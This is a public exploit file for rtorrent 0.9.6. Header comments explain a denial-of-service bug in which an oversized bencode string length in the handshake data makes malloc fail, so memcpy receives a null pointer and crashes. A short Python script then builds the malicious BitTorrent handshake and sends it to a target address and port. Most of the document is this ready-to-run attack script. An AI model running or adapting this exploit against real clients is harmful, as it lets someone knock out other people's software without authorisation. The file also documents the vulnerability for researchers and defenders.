# Exploit Title: rtorrent 0.9.6 - Denial of Service
# Date: 2018-01-10
# Exploit Author: ecx86
# Vendor Homepage: http://rtorrent.net
# Software Link: https://github.com/rakshasa/rtorrent/releases
# Version: <= 0.9.6
# Tested on: Debian GNU/Linux 9.4 (stretch)

# This crash is due to a bad bencode parse of the handshake data map.
# Specifically, by providing a massive length for a string, namely the key of a map entry,
# malloc fails, returning 0, which is passed to a memcpy call that causes the segfault.
# This can be triggered actively by sending the crash-triggering data to a seeding rtorrent
# client, or when a downloading rtorrent client connects to a malicious peer.

#!/usr/bin/env python
import socket
import struct

crash = ''
proto_name = 'BitTorrent protocol'
crash += chr(len(proto_name)) + proto_name # magic
crash += '00000000' # reserved extension bytes

# sha1 hash of info dictionary
# change this depending on your torrent
crash += '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

crash += '00000000000000000000' # peer id

msg = ''
msg += struct.pack('<H', 20) # message type: extended
msg += 'd99999999999999999999999999999999:' # payload

crash += struct.pack('>I', len(msg))
crash += msg

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('1.3.3.7', 6890))
s.send(crash)
s.close()